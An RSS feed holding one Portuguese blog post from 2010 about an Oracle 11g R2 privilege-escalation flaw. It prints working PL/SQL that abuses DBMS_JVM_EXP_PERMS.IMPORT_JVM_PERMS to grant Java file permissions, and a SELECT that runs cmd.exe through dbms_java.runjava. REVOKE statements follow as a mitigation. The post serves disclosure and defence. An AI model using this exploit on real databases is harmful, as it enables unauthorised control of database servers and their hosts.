<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>trevis.com.br</title>
	<atom:link href="http://www.trevis.com.br/feed" rel="self" type="application/rss+xml" />
	<link>http://www.trevis.com.br</link>
	<description></description>
	<lastBuildDate>Fri, 05 Mar 2010 14:53:21 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Vulnerabilidade no Oracle 11g R2</title>
		<link>http://www.trevis.com.br/vulnerabilidade-no-oracle-11g-r2</link>
		<comments>http://www.trevis.com.br/vulnerabilidade-no-oracle-11g-r2#comments</comments>
		<pubDate>Fri, 05 Mar 2010 14:25:58 +0000</pubDate>
		<dc:creator>Rafael Trevisan</dc:creator>
				<category><![CDATA[Oracle]]></category>
		<category><![CDATA[11gR2]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Vulnerabilidade]]></category>

		<guid isPermaLink="false">http://www.trevis.com.br/vulnerabilidade-no-oracle-11g-r2</guid>
		<description><![CDATA[Vulnerabilidade no Oracle 11gR2 permite controle total do banco de dados através do pacote DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS]]></description>
			<content:encoded><![CDATA[<p>Pessoal, vejam só o que encontrei&#8230;</p>
<p>O crédito desta descoberta vai para David Litchfield, ele encontrou essa vulnerabilidade que também afeta 11g R2.</p>
<p>Priviégios indevidos as procedures Java permitem que usuários aumentem seus próprios privilégios, sendo até possível ganhar controle completo sobre o banco de dados.</p>
<p>Basicamente, usando a package DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS o usuário pode mudar seus privilégios na tabela a política do Java, para que a JVM permite-lhe executar comandos do sistema operacional e de ler e escrever arquivos.</p>
<p>Aqui está o código:</p>
<pre>DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS 
  SELECT ‘GRANT’,USER(),
         ‘SYS’,
         ’java.io.FilePermission’,
         ’&lt;&lt;ALL FILES&gt;&gt;‘,
         ’execute’,
         ’ENABLED’
    FROM dual;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/</pre>
<p>Após a elevação dos privilégios Java é possível executar comandos no sistema operacional usando uma instrução SELECT simples:</p>
<pre>select dbms_java.runjava('Oracle/Aurora/util/Wrapper c:\windows\\system32\cmd.exe\' ||
                         '/c dir &gt; c:\out.lst')</pre>
<pre>  from dual;</pre>
<p>Ainda não tem um patch para esta falha, mas você pode (e deve) revogar os privilégios do <em>PUBLIC</em> para os seguintes pacotes:</p>
<pre>revoke execute on DBMS_JVM_EXP_PERMS from public;
revoke execute on DBMS_JAVA from public;
revoke execute on DBMS_JAVA_TEST from  public;
revoke execute on DBMS_JVM_EXP_PERMS from public;
revoke execute on DBMS_JAVA from public;
revoke execute on DBMS_JAVA_TEST from  public;</pre>
<pre><span style="color: #ffffff;">trevis</span></pre>
<pre><span style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; line-height: 19px; white-space: normal; font-size: 13px;">
</span></pre>
<p><span style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; line-height: 19px; white-space: normal; font-size: 13px;">[]s!</span></p>
<h6><span style="font-weight: normal;"><span style="color: #999999;">Fonte: </span></span><a href="http://tiny.cc/NYU6T" target="_blank"><span style="font-weight: normal;"><span style="color: #999999;">http://tiny.cc/NYU6T</span></span></a></h6>
]]></content:encoded>
			<wfw:commentRss>http://www.trevis.com.br/vulnerabilidade-no-oracle-11g-r2/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
